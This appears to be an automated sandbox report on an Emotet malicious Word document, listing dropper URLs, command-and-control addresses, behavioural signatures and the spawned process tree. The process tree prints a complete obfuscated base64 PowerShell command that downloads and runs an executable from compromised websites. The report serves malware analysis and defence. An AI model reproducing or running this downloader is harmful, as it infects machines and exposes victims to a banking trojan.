Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    78s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 00:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba_2020-08-21__000229._doc.doc
  • Size 185KB
  • Sample200821-ylvfa5f29a
  • SHA256 2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.ossoriobouliz.com/wp-admin/m1J/
  • exe.dropper

    https://cowbeeonline.com/wp-includes/8jl/
  • exe.dropper

    http://thecandidaplan.com/wp-content/FRd/
  • exe.dropper

    http://www.openbookingapp.com/aquqz/v1/
  • exe.dropper

    http://f1.dodve.com/wp-admin/1/
  • exe.dropper

    http://r-ac.de/laser/lFL/
  • exe.dropper

    http://primetechpeliculas.com.br/wp-includes/l/

Extracted

Family

  • emotet

C2

  • 65.36.62.20:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 204.225.249.100:7080

  • 77.90.136.129:8080

  • 185.94.252.27:443

  • 85.105.140.135:443

  • 83.169.21.32:7080

  • 190.190.148.27:8080

  • 185.94.252.12:80

  • 116.125.120.88:443

  • 190.115.18.139:8080

  • 61.92.159.208:8080

  • 24.148.98.177:80

  • 212.93.117.170:80

  • 91.219.169.180:80

  • 73.116.193.136:80

  • 87.106.46.107:8080

  • 187.162.248.237:80

  • 70.32.115.157:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba_2020-08-21__000229._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:392
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHUAcQB3ADEANgAzAD0AKAAnAE0AJwArACcANAA5AHgAYQAnACsAJwAwAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgBUAEUATQBQAFwATwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBSAEkAYABUAFkAcAByAGAAbwBUAGAAbwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAgAHQAbABzACcAKwAnADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABMAF8AdwBxADkAaAB3ACAAPQAgACgAJwBKAGUANAAnACsAJwAyAGkAYgBpAGYAJwApADsAJABYAGQAcABpAGgAbwB0AD0AKAAnAFIAeQAnACsAJwB4AGgAaAB1ADcAJwApADsAJABTADYAMAA0ADMAbwBzAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwAzAHkAbQAnACsAJwBPACcAKwAnAGYAZgAnACsAJwBpAGMAZQAyADAAMQA5ADMAeQBtACcAKQAuACIAUgBFAGAAcABMAEEAQwBFACIAKAAoAFsAQwBoAGEAUgBdADUAMQArAFsAQwBoAGEAUgBdADEAMgAxACsAWwBDAGgAYQBSAF0AMQAwADkAKQAsAFsAcwB0AFIASQBuAGcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABMAF8AdwBxADkAaAB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABUAGwAMAByADcAOAByAD0AKAAnAFgAJwArACcAZAA1AG8ANwAnACsAJwB0AGUAJwApADsAJABKAGcAbwB0AHYAZwA2AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABJAEUAbgBUADsAJABPADYANQB0AG8ANQB4AD0AKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AdwB3AHcAJwArACcALgBvAHMAcwBvACcAKwAnAHIAaQBvAGIAbwAnACsAJwB1AGwAaQB6AC4AYwBvAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBtACcAKwAnADEASgAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGMAbwAnACsAJwB3ACcAKwAnAGIAZQBlACcAKwAnAG8AbgBsAGkAbgBlAC4AYwBvAG0AJwArACcALwB3AHAALQBpACcAKwAnAG4AYwAnACsAJwBsAHUAJwArACcAZABlAHMALwA4AGoAbAAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBjACcAKwAnAGEAbgAnACsAJwBkAGkAZAAnACsAJwBhAHAAbABhAG4ALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACsAJwBuAHQAJwArACcAZQBuAHQAJwArACcALwBGAFIAZAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuACcAKwAnAG8AcABlAG4AYgBvAG8AawBpAG4AJwArACcAZwBhAHAAJwArACcAcAAuAGMAbwBtAC8AYQBxACcAKwAnAHUAcQAnACsAJwB6AC8AdgAxAC8AKgBoAHQAdABwADoALwAvAGYAMQAnACsAJwAuAGQAbwBkAHYAZQAuAGMAbwBtAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AJwArACcAMQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwByAC0AJwArACcAYQAnACsAJwBjAC4AZABlAC8AbABhACcAKwAnAHMAZQByAC8AbABGAEwALwAqAGgAdAB0AHAAJwArACcAOgAvAC8AcAByAGkAbQAnACsAJwBlAHQAJwArACcAZQAnACsAJwBjAGgAcABlAGwAJwArACcAaQBjAHUAbABhAHMALgBjAG8AbQAnACsAJwAuAGIAcgAnACsAJwAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAGwAJwArACcALwAnACkALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABrADUAMgBtADAAawA9ACgAJwBLACcAKwAnAGgAbQBsADMAdABmACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAYgBwADUAZwB5ADUAIABpAG4AIAAkAE8ANgA1AHQAbwA1AHgAKQB7AHQAcgB5AHsAJABKAGcAbwB0AHYAZwA2AC4AIgBkAG8AVwBgAE4ATABgAE8AYQBEAEYAaQBMAEUAIgAoACQAVABiAHAANQBnAHkANQAsACAAJABTADYAMAA0ADMAbwBzACkAOwAkAFkAeQBxADIAagB6AHIAPQAoACcAUAA2AG0AZQAnACsAJwB2AGYAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUwA2ADAANAAzAG8AcwApAC4AIgBsAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMwAwADIAOAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABTADYAMAA0ADMAbwBzACkAOwAkAEgAOQA5ADIAZQAxADQAPQAoACcATwAnACsAJwBjAHkAdQBnADUAbgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAcgBoAGMAbwBkAHYAPQAoACcAVQAnACsAJwBmAHMAJwArACcAeABnADUAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAMwByAHcAaAA1ADQAPQAoACcAUQAnACsAJwAxAHoAJwArACcAeAA0AHIAcQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\gptext\psbase.exe
        "C:\Windows\SysWOW64\gptext\psbase.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/392-7-0x00000000024E0000-0x00000000024E4000-memory.dmp
        Download

        memory/392-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp
        Download

        memory/392-6-0x0000000002460000-0x0000000002464000-memory.dmp
        Download

        memory/392-4-0x00000000070E0000-0x00000000072E0000-memory.dmp
        Download

        memory/392-16-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1112-24-0x000007FEEF600000-0x000007FEEF87A000-memory.dmp
        Download

        memory/1160-19-0x00000000003C0000-0x00000000003CC000-memory.dmp
        Download

        memory/1628-23-0x0000000000390000-0x000000000039C000-memory.dmp
        Download

        memory/1844-10-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/1844-15-0x000000001B690000-0x000000001B691000-memory.dmp
        Download

        memory/1844-14-0x000000001AA70000-0x000000001AA71000-memory.dmp
        Download

        memory/1844-13-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1844-12-0x00000000026E0000-0x00000000026E1000-memory.dmp
        Download

        memory/1844-11-0x000000001AB80000-0x000000001AB81000-memory.dmp
        Download

        memory/1844-9-0x000007FEEA100000-0x000007FEEAAEC000-memory.dmp
        Download